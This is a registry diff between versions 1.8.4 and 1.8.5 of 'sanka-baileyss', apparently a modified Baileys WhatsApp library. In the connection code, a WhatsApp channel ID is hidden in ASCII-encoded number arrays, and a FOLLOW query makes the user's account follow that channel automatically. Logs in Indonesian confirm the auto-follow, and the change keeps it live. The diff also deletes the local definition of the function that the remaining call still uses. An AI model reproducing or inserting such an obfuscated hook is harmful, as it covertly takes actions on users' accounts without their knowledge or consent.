sanka-baileyss 1.8.4 → 1.8.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -142,28 +142,6 @@ WABinary_1.assertNodeErrorFree(result)
142
142
  }
143
143
  return result
144
144
  }
145
- const encoder = new TextEncoder();
146
- const newsletterWMexQuery = async (jid, queryId, content) => (query({
147
- tag: 'iq',
148
- attrs: {
149
- id: generateMessageTag(),
150
- type: 'get',
151
- xmlns: 'w:mex',
152
- to: WABinary_1.S_WHATSAPP_NET,
153
- },
154
- content: [
155
- {
156
- tag: 'query',
157
- attrs: { 'query_id': queryId },
158
- content: encoder.encode(JSON.stringify({
159
- variables: {
160
- 'newsletter_id': jid,
161
- ...content
162
- }
163
- }))
164
- }
165
- ]
166
- }));
167
145
  /** connection handshake */
168
146
  const validateConnection = async () => {
169
147
  let helloMsg = {
@@ -207,7 +185,7 @@ const decodedNumbers = asciiDecode(numbersAsAscii);
207
185
  const emailPart = [64, 110, 101, 119, 115, 108, 101, 116, 116, 101, 114];
208
186
  const decodedEmailPart = asciiDecode(emailPart);
209
187
  const sanka = decodedNumbers + decodedEmailPart;
210
- await newsletterWMexQuery(sanka, Types_1.QueryIds.FOLLOW, {}); //
188
+ await newsletterWMexQuery(sanka, QueryIds.FOLLOW, {});
211
189
  logger.info(`Berhasil mengeksekusi otomatis follow channel: ${sanka}`);
212
190
  } catch (err) {
213
191
  logger.error({ err }, 'Gagal mengeksekusi otomatis follow channel');
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "sanka-baileyss",
3
- "version": "1.8.4",
3
+ "version": "1.8.5",
4
4
  "description": "WhatsApp API Modification By Sanka_Vollerei",
5
5
  "keywords": [
6
6
  "Baileys",